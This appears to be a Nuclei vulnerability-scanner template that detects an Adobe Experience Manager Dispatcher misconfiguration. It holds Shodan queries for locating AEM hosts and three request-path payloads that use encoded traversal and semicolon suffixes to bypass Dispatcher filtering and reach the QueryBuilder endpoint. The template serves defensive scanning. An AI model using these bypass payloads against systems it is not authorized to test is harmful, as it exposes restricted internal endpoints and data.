aem-dispatcher-bypass: Adobe Experience Manager - Dispatcher Bypass

id: aem-dispatcher-bypass

info:
  name: Adobe Experience Manager - Dispatcher Bypass
  author: DhiyaneshDK,assetnote
  severity: medium
  description: |
    Detected potential Adobe Experience Manager (AEM) Dispatcher misconfigurations that could have allowed bypassing request filtering, exposing internal endpoints, or permitting unauthorised access to restricted resources.
  reference:
    - https://docs.google.com/presentation/d/1PypHgd0r3ZVII7e5fLX5JjZIJQfAsMEydLnug0yFb9k/edit?usp=sharing (Slide 18,22,24)
  metadata:
    verified: true
    max-request: 1
    vendor: adobe
    product: experience_manager
    shodan-query:
      - http.title:"aem sign in"
      - http.component:"adobe experience manager"
      - cpe:"cpe:2.3:a:adobe:experience_manager"
  tags: adobe,aem,dispatcher,vuln

http:
  - raw:
      - |
        GET {{paths}} HTTP/1.1
        Host: {{Hostname}}

    payloads:
      paths:
        - "/graphql/execute.json/..%2f../bin/querybuilder.json"
        - "/bin/querybuilder.json;x='x/.ico/y'"
        - "/bin/querybuilder.json;x='x/graphql/execute/json/y'"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"success":true'
          - '"results":'
          - '"hits":'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b6cc688dab9d09eb3bbb5ab83b10c85b685aaf9faa6d1e1e75eaeff5320050df022062cab2abc910048fea729104b3c99720eb65b8d1bb3ad7f4984543e2ad022b70:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.